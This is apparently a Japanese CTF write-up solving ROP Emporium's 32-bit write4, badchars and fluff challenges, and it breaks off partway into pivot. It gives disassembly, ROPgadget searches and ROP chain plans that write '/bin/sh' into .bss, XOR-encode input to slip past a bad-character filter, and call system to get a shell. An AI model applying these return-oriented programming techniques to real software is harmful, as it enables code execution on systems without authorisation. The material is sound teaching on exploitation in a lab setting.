  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000028 04  WA  0   0  4
  [25] .data             PROGBITS        0804a028 001028 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001030 00002c 00  WA  0   0 32
  [27] .comment          PROGBITS        00000000 001030 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001861 00010a 00      0   0  1
  [29] .symtab           SYMTAB          00000000 001064 000510 10     30  50  4
  [30] .strtab           STRTAB          00000000 001574 0002ed 00      0   0  1
フラグのキー:
  W (write), A (alloc), X (実行), M (merge), S (文字列)
  I (情報), L (リンク順), G (グループ), T (TLS), E (排他), x (不明)
  O (追加の OS 処理が必要) o (OS 固有), p (プロセッサ固有)

Wというフラグが立っている場所が書き込み可能な場所です.あまり影響が出なそうな場所として,今回はbssセクションを使用してみます.bssセクションは初期化していないstaticな変数が格納される領域です.

次に,ROP gadgetを探します.pop edi; pop ebp; ret のようなGadgetを探しますが,これもpedaで十分です.

$ gdb write432
Reading symbols from write432...(no debugging symbols found)...done.
gdb-peda$ start
..............
gdb-peda$ ropgadget
ret = 0x804819d
popret = 0x80483e1
pop2ret = 0x80486da
pop4ret = 0x80486d8
pop3ret = 0x80486d9
addesp_12 = 0x80483de
addesp_16 = 0x80484e5
gdb-peda$ x/3i 0x80486da
   0x80486da <__libc_csu_init+90>:   pop    edi
   0x80486db <__libc_csu_init+91>:   pop    ebp
   0x80486dc <__libc_csu_init+92>:   ret    
gdb-peda$ 

pop2retというGadgetです.

引数の渡し方として,以下のように4バイトずつ渡していきます.2回目に書き込む場所としては,bss address + 4となります.

+-+-+-+-+-+-+-+ ↑low
...............
+-+-+-+-+-+-+-+
    pop2ret
+-+-+-+-+-+-+-+
  bss address
+-+-+-+-+-+-+-+
    "/bin"
+-+-+-+-+-+-+-+
  mov edi ebp
+-+-+-+-+-+-+-+
...............
+-+-+-+-+-+-+-+ ↓ high

exploitは以下のようになります.

exploit

write432

$ python write432-exploit.py
[+] Starting local process './write432': pid 17483
write4 by ROP Emporium
32bits

Go ahead and give me the string already!
> 
[*] Switching to interactive mode
$ 
$ whoami
yyy
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}

badchars

$ file badchars32
badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=646a0ec0b6adaad4385d7845987e7001264db871, not stripped

$ ./badchars32
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> hoge

Exiting

gdbで見てみます.

$ gdb badchars32
Reading symbols from badchars32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048440  _init
0x08048480  printf@plt
0x08048490  free@plt
0x080484a0  memcpy@plt
0x080484b0  fgets@plt
0x080484c0  malloc@plt
0x080484d0  puts@plt
0x080484e0  system@plt
0x080484f0  exit@plt
0x08048500  __libc_start_main@plt
0x08048510  setvbuf@plt
0x08048520  memset@plt
0x08048540  _start
0x08048570  __x86.get_pc_thunk.bx
0x08048580  deregister_tm_clones
0x080485b0  register_tm_clones
0x080485f0  __do_global_dtors_aux
0x08048610  frame_dummy
0x0804863b  main
0x080486b6  pwnme
0x080487a9  usefulFunction
0x080487c2  nstrlen
0x08048801  checkBadchars
0x08048890  usefulGadgets
0x080488a0  __libc_csu_init
0x08048900  __libc_csu_fini
0x08048904  _fini

nstrlen,checkbadcharsなど見慣れない関数があります.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x080487a9 <+0>:  push   ebp
   0x080487aa <+1>: mov    ebp,esp
   0x080487ac <+3>: sub    esp,0x8
   0x080487af <+6>: sub    esp,0xc
   0x080487b2 <+9>: push   0x8048973
   0x080487b7 <+14>:    call   0x80484e0 <system@plt>
   0x080487bc <+19>:    add    esp,0x10
   0x080487bf <+22>:    nop
   0x080487c0 <+23>:    leave  
   0x080487c1 <+24>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x8048973
0x8048973: "/bin/ls"

またlsするだけの関数のようなので,write4の時と同様に/bin/shを引数にsystemを呼びたいところです.

nstrlen

gdb-peda$ disas nstrlen 
Dump of assembler code for function nstrlen:
   0x080487c2 <+0>:  push   ebp
   0x080487c3 <+1>: mov    ebp,esp
   0x080487c5 <+3>: sub    esp,0x10
   0x080487c8 <+6>: mov    DWORD PTR [ebp-0x4],0x0
   0x080487cf <+13>:    mov    DWORD PTR [ebp-0x4],0x0
   0x080487d6 <+20>:    jmp    0x80487f4 <nstrlen+50>
   0x080487d8 <+22>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080487db <+25>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080487de <+28>:    add    eax,edx
   0x080487e0 <+30>:    movzx  eax,BYTE PTR [eax]
   0x080487e3 <+33>:    cmp    al,0xa
   0x080487e5 <+35>:    jne    0x80487f0 <nstrlen+46>
   0x080487e7 <+37>:    add    DWORD PTR [ebp-0x4],0x1
   0x080487eb <+41>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080487ee <+44>:    jmp    0x80487ff <nstrlen+61>
   0x080487f0 <+46>:    add    DWORD PTR [ebp-0x4],0x1
   0x080487f4 <+50>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080487f7 <+53>:    cmp    eax,DWORD PTR [ebp+0xc]
   0x080487fa <+56>:    jb     0x80487d8 <nstrlen+22>
   0x080487fc <+58>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080487ff <+61>:    leave  
   0x08048800 <+62>:    ret    
End of assembler dump.

0x80487d8 - 0x080487fa の間をループしていますが,注目すべきは0x080487e3のcmp al, 0xaで,0xaはASCIIコードで改行を表し,改行まで何文字あるかを,[ebp-0x4]の値を更新しながらループしているように見えます.つまり,入力値が何文字か調べる関数のようです.

checkBadchars

gdb-peda$ disas checkBadchars 
Dump of assembler code for function checkBadchars:
   0x08048801 <+0>:  push   ebp
   0x08048802 <+1>: mov    ebp,esp
   0x08048804 <+3>: sub    esp,0x10
   0x08048807 <+6>: mov    BYTE PTR [ebp-0x10],0x62
   0x0804880b <+10>:    mov    BYTE PTR [ebp-0xf],0x69
   0x0804880f <+14>:    mov    BYTE PTR [ebp-0xe],0x63
   0x08048813 <+18>:    mov    BYTE PTR [ebp-0xd],0x2f
   0x08048817 <+22>:    mov    BYTE PTR [ebp-0xc],0x20
   0x0804881b <+26>:    mov    BYTE PTR [ebp-0xb],0x66
   0x0804881f <+30>:    mov    BYTE PTR [ebp-0xa],0x6e
   0x08048823 <+34>:    mov    BYTE PTR [ebp-0x9],0x73
   0x08048827 <+38>:    mov    DWORD PTR [ebp-0x4],0x0
   0x0804882e <+45>:    mov    DWORD PTR [ebp-0x8],0x0
   0x08048835 <+52>:    mov    DWORD PTR [ebp-0x4],0x0
   0x0804883c <+59>:    jmp    0x804887c <checkBadchars+123>
   0x0804883e <+61>:    mov    DWORD PTR [ebp-0x8],0x0
   0x08048845 <+68>:    jmp    0x8048872 <checkBadchars+113>
   0x08048847 <+70>:    mov    edx,DWORD PTR [ebp+0x8] // [ebp+0x8]は入力値
   0x0804884a <+73>:    mov    eax,DWORD PTR [ebp-0x4]
   0x0804884d <+76>:    add    eax,edx
   0x0804884f <+78>:    movzx  edx,BYTE PTR [eax]
   0x08048852 <+81>:    lea    ecx,[ebp-0x10] // [ebp-0x10]はbadcharsが格納された配列の先頭
   0x08048855 <+84>:    mov    eax,DWORD PTR [ebp-0x8]
   0x08048858 <+87>:    add    eax,ecx
   0x0804885a <+89>:    movzx  eax,BYTE PTR [eax]
   0x0804885d <+92>:    cmp    dl,al
   0x0804885f <+94>:    jne    0x804886e <checkBadchars+109>
   0x08048861 <+96>:    mov    edx,DWORD PTR [ebp+0x8]
   0x08048864 <+99>:    mov    eax,DWORD PTR [ebp-0x4]
   0x08048867 <+102>:   add    eax,edx
   0x08048869 <+104>:   mov    BYTE PTR [eax],0xeb
   0x0804886c <+107>:   jmp    0x8048878 <checkBadchars+119>
   0x0804886e <+109>:   add    DWORD PTR [ebp-0x8],0x1
   0x08048872 <+113>:   cmp    DWORD PTR [ebp-0x8],0x7 // [ebp-0x8]はbadcharsが格納された配列のindex
   0x08048876 <+117>:   jbe    0x8048847 <checkBadchars+70>
   0x08048878 <+119>:   add    DWORD PTR [ebp-0x4],0x1
   0x0804887c <+123>:   mov    eax,DWORD PTR [ebp-0x4] // [ebp-0x4]はカウンタ変数
   0x0804887f <+126>:   cmp    eax,DWORD PTR [ebp+0xc] // [ebp+0xc]はnstrlenで求めた入力値の長さ
   0x08048882 <+129>:   jb     0x804883e <checkBadchars+61>
   0x08048884 <+131>:   nop
   0x08048885 <+132>:   leave  
   0x08048886 <+133>:   ret    
End of assembler dump.

いくつかコメントを書きましたが,全体としては入力値の長さ分ループしています.そして,ループの中でさらに8回ループしていて,badcharsが入力値の中に存在していないかをチェックしています.もしbadcharsがあった場合,それを0xebに置換しています.なお,badcharsというのは "b", "i", "c", "/", "", "f", "n", "s"の8個です.冒頭でそれぞれの値をmovしているのがわかると思います.つまり,この関数は特定の文字をエスケープする関数のようです.

usefulGadgets

gdb-peda$ disas usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x08048890 <+0>:  xor    BYTE PTR [ebx],cl
   0x08048892 <+2>: ret    
   0x08048893 <+3>: mov    DWORD PTR [edi],esi
   0x08048895 <+5>: ret    
   0x08048896 <+6>: pop    ebx
   0x08048897 <+7>: pop    ecx
   0x08048898 <+8>: ret    
   0x08048899 <+9>: pop    esi
   0x0804889a <+10>:    pop    edi
   0x0804889b <+11>:    ret    
   0x0804889c <+12>:    xchg   ax,ax
   0x0804889e <+14>:    xchg   ax,ax
End of assembler dump.

xorがあるので,これを上手く使えば入力値チェックをすり抜けられそうです.

pwnmeがいつもと少し変わっているので見ておきます.

pwnme

gdb-peda$ disas pwnme
Dump of assembler code for function pwnme:
   0x080486b6 <+0>:  push   ebp
   0x080486b7 <+1>: mov    ebp,esp
   0x080486b9 <+3>: sub    esp,0x38
   0x080486bc <+6>: mov    DWORD PTR [ebp-0x30],0x0
   0x080486c3 <+13>:    sub    esp,0xc
   0x080486c6 <+16>:    push   0x200
   0x080486cb <+21>:    call   0x80484c0 <malloc@plt>
   0x080486d0 <+26>:    add    esp,0x10
   0x080486d3 <+29>:    mov    DWORD PTR [ebp-0x2c],eax
   0x080486d6 <+32>:    mov    eax,DWORD PTR [ebp-0x2c]
   0x080486d9 <+35>:    test   eax,eax
   0x080486db <+37>:    je     0x80486f5 <pwnme+63>
   0x080486dd <+39>:    mov    eax,DWORD PTR [ebp-0x2c]
   0x080486e0 <+42>:    sub    esp,0x4
   0x080486e3 <+45>:    push   0x200
   0x080486e8 <+50>:    push   0x0
   0x080486ea <+52>:    push   eax
   0x080486eb <+53>:    call   0x8048520 <memset@plt>
   0x080486f0 <+58>:    add    esp,0x10
   0x080486f3 <+61>:    jmp    0x80486ff <pwnme+73>
   0x080486f5 <+63>:    sub    esp,0xc
   0x080486f8 <+66>:    push   0x1
   0x080486fa <+68>:    call   0x80484f0 <exit@plt>
   0x080486ff <+73>:    sub    esp,0x4
   0x08048702 <+76>:    push   0x20
   0x08048704 <+78>:    push   0x0
   0x08048706 <+80>:    lea    eax,[ebp-0x30]
   0x08048709 <+83>:    add    eax,0x8
   0x0804870c <+86>:    push   eax
   0x0804870d <+87>:    call   0x8048520 <memset@plt>
   0x08048712 <+92>:    add    esp,0x10
   0x08048715 <+95>:    sub    esp,0xc
   0x08048718 <+98>:    push   0x804894c
   0x0804871d <+103>:   call   0x80484d0 <puts@plt>
   0x08048722 <+108>:   add    esp,0x10
   0x08048725 <+111>:   sub    esp,0xc
   0x08048728 <+114>:   push   0x8048970
   0x0804872d <+119>:   call   0x8048480 <printf@plt>
   0x08048732 <+124>:   add    esp,0x10
   0x08048735 <+127>:   mov    edx,DWORD PTR ds:0x804a060
   0x0804873b <+133>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x0804873e <+136>:   sub    esp,0x4
   0x08048741 <+139>:   push   edx
   0x08048742 <+140>:   push   0x200
   0x08048747 <+145>:   push   eax
   0x08048748 <+146>:   call   0x80484b0 <fgets@plt>
   0x0804874d <+151>:   add    esp,0x10
   0x08048750 <+154>:   mov    DWORD PTR [ebp-0x2c],eax
   0x08048753 <+157>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x08048756 <+160>:   sub    esp,0x8
   0x08048759 <+163>:   push   0x200
   0x0804875e <+168>:   push   eax
   0x0804875f <+169>:   call   0x80487c2 <nstrlen>
   0x08048764 <+174>:   add    esp,0x10
   0x08048767 <+177>:   mov    DWORD PTR [ebp-0x30],eax
   0x0804876a <+180>:   mov    edx,DWORD PTR [ebp-0x30]
   0x0804876d <+183>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x08048770 <+186>:   sub    esp,0x8
   0x08048773 <+189>:   push   edx
   0x08048774 <+190>:   push   eax
   0x08048775 <+191>:   call   0x8048801 <checkBadchars>
   0x0804877a <+196>:   add    esp,0x10
   0x0804877d <+199>:   mov    edx,DWORD PTR [ebp-0x30]
   0x08048780 <+202>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x08048783 <+205>:   sub    esp,0x4
   0x08048786 <+208>:   push   edx
   0x08048787 <+209>:   push   eax
   0x08048788 <+210>:   lea    eax,[ebp-0x30]
   0x0804878b <+213>:   add    eax,0x8
   0x0804878e <+216>:   push   eax
   0x0804878f <+217>:   call   0x80484a0 <memcpy@plt>
   0x08048794 <+222>:   add    esp,0x10
   0x08048797 <+225>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x0804879a <+228>:   sub    esp,0xc
   0x0804879d <+231>:   push   eax
   0x0804879e <+232>:   call   0x8048490 <free@plt>
   0x080487a3 <+237>:   add    esp,0x10
   0x080487a6 <+240>:   nop
   0x080487a7 <+241>:   leave  
   0x080487a8 <+242>:   ret    
End of assembler dump.

少し変わっているといっても,fgetsした後nstrlenで入力値の長さを求めて,その結果を使ってcheckBadcharsにて特定の文字をエスケープしているだけです.

exploitとしては,以下のような方針でいきます.

  1. /bin/shという文字列の中で,badcharsに含まれるものは事前に適当な値をxorしておく(入力値チェック回避)
  2. write4で使ったような,任意の文字列を書き込めそうなGadgetを探す
  3. write4の時と同様のテクニックで任意の文字列を書き込む
  4. 最後に,usefulGadgetsにあったxorを使って入力値を元の/bin/shに戻す

1は省略し,write4で使った mov DWORD PTR [edi],ebp のようなGadgetがないか探します.

今回はROP gadgetを探すツールを使っていきますが,どれが精度がいいとか正直わからないので,適当なものを選んでください...

自分はこれを使っています. github.com

他にも,rp++を使っている人も多いと思います.

A painter and a black catさんのページのインストール方法を載せておきます. raintrees.net

適当なファイルにリダイレクトしておくと,何度も実行しなくて済むので便利です.

$ ROPgadget --binary badchars32 > ropgadget

mov dword ptrでgrepしてみると,いい感じのGadgetが見つかります.

$ cat ropgadget|grep "mov dword ptr"
0x08048893 : mov dword ptr [edi], esi ; ret
0x08048891 : or eax, ebx ; mov dword ptr [edi], esi ; ret

0x08048893のものを使います.さらに,ediに書き込む先のアドレスを,esiに任意の文字列を渡すために,"pop edi" と "pop esi"が欲しいところです.

ropgadgetから探してみるといい感じのGadgetが見つかります.

$ cat ropgadget|grep "pop esi" |grep "pop edi"
..............................................................................................
0x080488f9 : pop esi ; pop edi ; pop ebp ; ret
0x08048899 : pop esi ; pop edi ; ret

この0x08048899を使えば良かったのですが,僕は解いたときにpeda内でropgadgetコマンドを打って出てきたpop3ret(上記の0x080488f9にあるGadget)を使ってしまったので,下記は0x080488f9のGadgetを使って解いていますが,0x08048899のほうを使ったほうが綺麗に解けるかと思います.

あと,xorする際に必要なGadgetとして, pop ebx ; pop ecx ; ret のようなものも探しておきます.これは綺麗に1個だけ出てくると思います.

$ cat ropgadget|grep "pop ebx" |grep "pop ecx"
0x08048896 : pop ebx ; pop ecx ; ret

任意の文字列を書き込む先としては,前回のwrite4と同じくreadelfで求めて,bssセクションを書き込み先として使用します.

あとは,頑張ってexploitを書くだけです.

exploit

badchars32

$ python badchars32-exploit.py
[+] Starting local process './badchars32': pid 21188
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> 
[*] Switching to interactive mode
$ 
$ whoami
yyy
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}

fluff

$ file fluff32
fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b376a74b4e9897a4220c448d931704a229b8804, not stripped

$ ./fluff32
fluff by ROP Emporium
32bits

You know changing these strings means I have to rewrite my solutions...
> hoge

Exiting

gdbで見てみます.

$ gdb fluff32
Reading symbols from fluff32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x0804864c  usefulFunction
0x08048670  questionableGadgets
0x080486a0  __libc_csu_init
0x08048700  __libc_csu_fini
0x08048704  _fini

questionableGadgetsという関数が追加されています.

usefulFunctionから見ていきます.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804864c <+0>:  push   ebp
   0x0804864d <+1>: mov    ebp,esp
   0x0804864f <+3>: sub    esp,0x8
   0x08048652 <+6>: sub    esp,0xc
   0x08048655 <+9>: push   0x8048793
   0x0804865a <+14>:    call   0x8048430 <system@plt>
   0x0804865f <+19>:    add    esp,0x10
   0x08048662 <+22>:    nop
   0x08048663 <+23>:    leave  
   0x08048664 <+24>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x8048793
0x8048793: "/bin/ls"

例によって,lsするだけの関数になっているので/bin/shをsystemに渡してシェルを起動させたいところです.

questionableGadgets

gdb-peda$ disas questionableGadgets 
Dump of assembler code for function questionableGadgets:
   0x08048670 <+0>:  pop    edi
   0x08048671 <+1>: xor    edx,edx
   0x08048673 <+3>: pop    esi
   0x08048674 <+4>: mov    ebp,0xcafebabe
   0x08048679 <+9>: ret    
   0x0804867a <+10>:    pop    esi
   0x0804867b <+11>:    xor    edx,ebx
   0x0804867d <+13>:    pop    ebp
   0x0804867e <+14>:    mov    edi,0xdeadbabe
   0x08048683 <+19>:    ret    
   0x08048684 <+20>:    mov    edi,0xdeadbeef
   0x08048689 <+25>:    xchg   edx,ecx
   0x0804868b <+27>:    pop    ebp
   0x0804868c <+28>:    mov    edx,0xdefaced0
   0x08048691 <+33>:    ret    
   0x08048692 <+34>:    pop    edi
   0x08048693 <+35>:    mov    DWORD PTR [ecx],edx
   0x08048695 <+37>:    pop    ebp
   0x08048696 <+38>:    pop    ebx
   0x08048697 <+39>:    xor    BYTE PTR [ecx],bl
   0x08048699 <+41>:    ret    
   0x0804869a <+42>:    xchg   ax,ax
   0x0804869c <+44>:    xchg   ax,ax
   0x0804869e <+46>:    xchg   ax,ax
End of assembler dump.

いろいろなGadgetsがゴチャゴチャしていてよくわかりません.問題文を読む限り,考え方はwrite4と一緒らしいですが,Gadgetを駆使して頑張らないといけないっぽいです.

注目するべきは mov DWORD PTR [ecx], edx ですかね.ecxとedxに上手く値を用意できればwrite4の時と同様に任意の文字列を書き込むことができそうです.しかし,この問題の面白いところが, pop ecxpop edx が実行ファイル中に見つかりません.

$ ROPgadget --binary fluff32 > ropgadget
$ cat ropgadget |grep "pop ecx"
$ cat ropgadget |grep "pop edx"

どうしたらよいでしょうか?もう一度questionableGadgetsを見てみます.よく見ると, xor edx,edxxor edx,ebxxchg edx,ecxpop ebx の4つの命令があると思います.

この4つの命令を駆使すれば,edxとecxに任意の値を用意することができないでしょうか?

例えば,edxに任意の値を用意するなら

  1. xor edx edx でedxを初期化
  2. pop ebx でebxに任意の値を用意
  3. xor edx ebx で0と任意の値との排他的論理和を取ることで,edxには最終的に任意の値が入る

こんな感じです.ecxに格納するなら,

xchg edx, ecx でedxに入れた任意の値とecxを交換

を4つ目に加えれば完璧です.

一つ注意する点としては mov DWORD PTR [ecx],edx と ret の間に xor BYTE PTR [ecx],bl という余計な命令が入っている点です.よって,blレジスタには0を入れるようにして,xorによって値が変わらないようにしておきます.

ROP chainの流れとしては,

  1. bss addressをecxに用意
  2. /binをedxに用意
  3. /binをbss addressに格納
  4. bss address + 4をecxに用意
  5. /sh\x00をedxに用意
  6. /sh\x00をbss address + 4に格納
  7. call system

のようになります.

exploit

fluff32

$ python fluff32-exploit.py
[+] Starting local process './fluff32': pid 24177
fluff by ROP Emporium
32bits

You know changing these strings means I have to rewrite my solutions..
[*] Switching to interactive mode
.
> $ 
$ whoami
yyy
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}

pivot

$ file pivot32
pivot32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7d291f508294412d56bfbc9b8a5a36de5330596, not stripped

$ ./pivot32
pivot by ROP Emporium
32bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0xf7dedf08
Send your second chain now and it will land there
> hoge
Now kindly send your stack smash
> fuga

Exiting

今回は入力値を2回受け取るようです.

gdbで見てみます.

$ gdb pivot32
Reading symbols from pivot32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048550  _init
0x08048590  printf@plt
0x080485a0  free@plt
0x080485b0  fgets@plt
0x080485c0  malloc@plt
0x080485d0  puts@plt
0x080485e0  exit@plt
0x080485f0  foothold_function@plt
0x08048600  __libc_start_main@plt
0x08048610  setvbuf@plt
0x08048620  memset@plt
0x08048640  _start
0x08048670  __x86.get_pc_thunk.bx
0x08048680  deregister_tm_clones
0x080486b0  register_tm_clones
0x080486f0  __do_global_dtors_aux
0x08048710  frame_dummy
0x0804873b  main
0x080487f2  pwnme
0x080488a1  uselessFunction
0x080488c0  usefulGadgets
0x080488d0  __libc_csu_init
0x08048930  __libc_csu_fini
0x08048934  _fini

pwnmeから見ていきます.

pwnme

gdb-peda$ disas pwnme
Dump of assembler code for function pwnme:
   0x080487f2 <+0>:  push   ebp
   0x080487f3 <+1>: mov    ebp,esp
   0x080487f5 <+3>: sub    esp,0x28
   0x080487f8 <+6>: sub    esp,0x4
   0x080487fb <+9>: push   0x20
   0x080487fd <+11>:    push   0x0
   0x080487ff <+13>:    lea    eax,[ebp-0x28]
   0x08048802 <+16>:    push   eax
   0x08048803 <+17>:    call   0x8048620 <memset@plt>
   0x08048808 <+22>:    add    esp,0x10
   0x0804880b <+25>:    sub    esp,0xc
   0x0804880e <+28>:    push   0x8048978
   0x08048813 <+33>:    call   0x80485d0 <puts@plt>
   0x08048818 <+38>:    add    esp,0x10
   0x0804881b <+41>:    sub    esp,0x8
   0x0804881e <+44>:    push   DWORD PTR [ebp+0x8]
   0x08048821 <+47>:    push   0x8048998
   0x08048826 <+52>:    call   0x8048590 <printf@plt>
   0x0804882b <+57>:    add    esp,0x10
   0x0804882e <+60>:    sub    esp,0xc
   0x08048831 <+63>:    push   0x80489d4
   0x08048836 <+68>:    call   0x80485d0 <puts@plt>
   0x0804883b <+73>:    add    esp,0x10
   0x0804883e <+76>:    sub    esp,0xc
   0x08048841 <+79>:    push   0x8048a06
   0x08048846 <+84>:    call   0x8048590 <printf@plt>
   0x0804884b <+89>:    add    esp,0x10
   0x0804884e <+92>:    mov    eax,ds:0x804a060
   0x08048853 <+97>:    sub    esp,0x4
   0x08048856 <+100>:   push   eax
   0x08048857 <+101>:   push   0x100
   0x0804885c <+106>:   push   DWORD PTR [ebp+0x8]
   0x0804885f <+109>:   call   0x80485b0 <fgets@plt>
   0x08048864 <+114>:   add    esp,0x10
   0x08048867 <+117>:   sub    esp,0xc
   0x0804886a <+120>:   push   0x8048a0c
   0x0804886f <+125>:   call   0x80485d0 <puts@plt>
   0x08048874 <+130>:   add    esp,0x10
   0x08048877 <+133>:   sub    esp,0xc
   0x0804887a <+136>:   push   0x8048a06
   0x0804887f <+141>:   call   0x8048590 <printf@plt>
   0x08048884 <+146>:   add    esp,0x10
   0x08048887 <+149>:   mov    eax,ds:0x804a060
   0x0804888c <+154>:   sub    esp,0x4
   0x0804888f <+157>:   push   eax
   0x08048890 <+158>:   push   0x3a
   0x08048892 <+160>:   lea    eax,[ebp-0x28]
   0x08048895 <+163>:   push   eax
   0x08048896 <+164>:   call   0x80485b0 <fgets@plt>
   0x0804889b <+169>:   add    esp,0x10
   0x0804889e <+172>:   nop
   0x0804889f <+173>:   leave  
   0x080488a0 <+174>:   ret    
End of assembler dump.

1度目のfgetsの前に push DWORD PTR [ebp+0x8] という行があることから(ebpに∔すると渡された引数に対してアクセスできます.-すればローカル変数へ)pwnmeに渡された引数を,fgetsで受け取る先として使用しているのがわかります.

2度目のfgetsはいつものpwnmeと同様にローカル変数を格納先としています.

1度目のfgetsに渡された引数はどういうものなのか,mainを見ていこうと思います.

main

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804873b <+0>:  lea    ecx,[esp+0x4]
   0x0804873f <+4>: and    esp,0xfffffff0
   0x08048742 <+7>: push   DWORD PTR [ecx-0x4]
   0x08048745 <+10>:    push   ebp
   0x08048746 <+11>:    mov    ebp,esp
   0x08048748 <+13>:    push   ecx
   0x08048749 <+14>:    sub    esp,0x14
   0x0804874c <+17>:    mov    eax,ds:0x804a064
   0x08048751 <+22>:    push   0x0
   0x08048753 <+24>:    push   0x2
   0x08048755 <+26>:    push   0x0
   0x08048757 <+28>:    push   eax
   0x08048758 <+29>:    call   0x8048610 <setvbuf@plt>
   0x0804875d <+34>:    add    esp,0x10
   0x08048760 <+37>:    mov    eax,ds:0x804a040
   0x08048765 <+42>:    push   0x0
   0x08048767 <+44>:    push   0x2
   0x08048769 <+46>:    push   0x0
   0x0804876b <+48>:    push   eax
   0x0804876c <+49>:    call   0x8048610 <setvbuf@plt>
   0x08048771 <+54>:    add    esp,0x10
   0x08048774 <+57>:    sub    esp,0xc
   0x08048777 <+60>:    push   0x8048950
   0x0804877c <+65>:    call   0x80485d0 <puts@plt>
   0x08048781 <+70>:    add    esp,0x10
   0x08048784 <+73>:    sub    esp,0xc
   0x08048787 <+76>:    push   0x8048966
   0x0804878c <+81>:    call   0x80485d0 <puts@plt>
   0x08048791 <+86>:    add    esp,0x10
   0x08048794 <+89>:    sub    esp,0xc
   0x08048797 <+92>:    push   0x1000000
   0x0804879c <+97>:    call   0x80485c0 <malloc@plt>
   0x080487a1 <+102>:   add    esp,0x10
   0x080487a4 <+105>:   mov    DWORD PTR [ebp-0xc],eax
   0x080487a7 <+108>:   mov    eax,DWORD PTR [ebp-0xc]
   0x080487aa <+111>:   add    eax,0xffff00
   0x080487af <+116>:   mov    DWORD PTR [ebp-0x10],eax
   0x080487b2 <+119>:   sub    esp,0xc
   0x080487b5 <+122>:   push   DWORD PTR [ebp-0x10]
   0x080487b8 <+125>:   call   0x80487f2 <pwnme>
   0x080487bd <+130>:   add    esp,0x10
   0x080487c0 <+133>:   mov    DWORD PTR [ebp-0x10],0x0
   0x080487c7 <+140>:   sub    esp,0xc
   0x080487ca <+143>:   push   DWORD PTR [ebp-0xc]
   0x080487cd <+146>:   call   0x80485a0 <free@plt>
   0x080487d2 <+151>:   add    esp,0x10
   0x080487d5 <+154>:   sub    esp,0xc
   0x080487d8 <+157>:   push   0x804896e
   0x080487dd <+162>:   call   0x80485d0 <puts@plt>
   0x080487e2 <+167>:   add    esp,0x10
   0x080487e5 <+170>:   mov    eax,0x0
   0x080487ea <+175>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x080487ed <+178>:   leave  
   0x080487ee <+179>:   lea    esp,[ecx-0x4]
   0x080487f1 <+182>:   ret    
End of assembler dump.

pwnmeの前で0x1000000を引数にmallocしているのがわかると思います.その後 add eax,0xffff00 で,確保した領域からpwnmeへ渡す分を調整してpwnmeへそのアドレスを渡しています.つまり,1度目のfgetsはmallocで確保したheap領域を使っていることがわかります.2度目のfgetsはいつも通りの入力値でBoFします.

2度目のfgetsですが,いつも通りの入力値でBoFするのは確かなんですが,いつものように長い値を入れることができません.試しに,以下のような入力を試してみます.

$ python -c 'print "A\n" + "A" * 44 + "B" * 100' > input.txt

pwnmeのretにブレークポイントをしかけてスタックの状態を見てみます.

$ gdb pivot32
Reading symbols from pivot32...(no debugging symbols found)...done.
gdb-peda$ b *0x80488a0
Breakpoint 1 at 0x80488a0
gdb-peda$ run < input.txt
.............................................
[----------------------------------registers-----------------------------------]
EAX: 0xffffbd00 ('A' <repeats 44 times>, 'B' <repeats 13 times>)
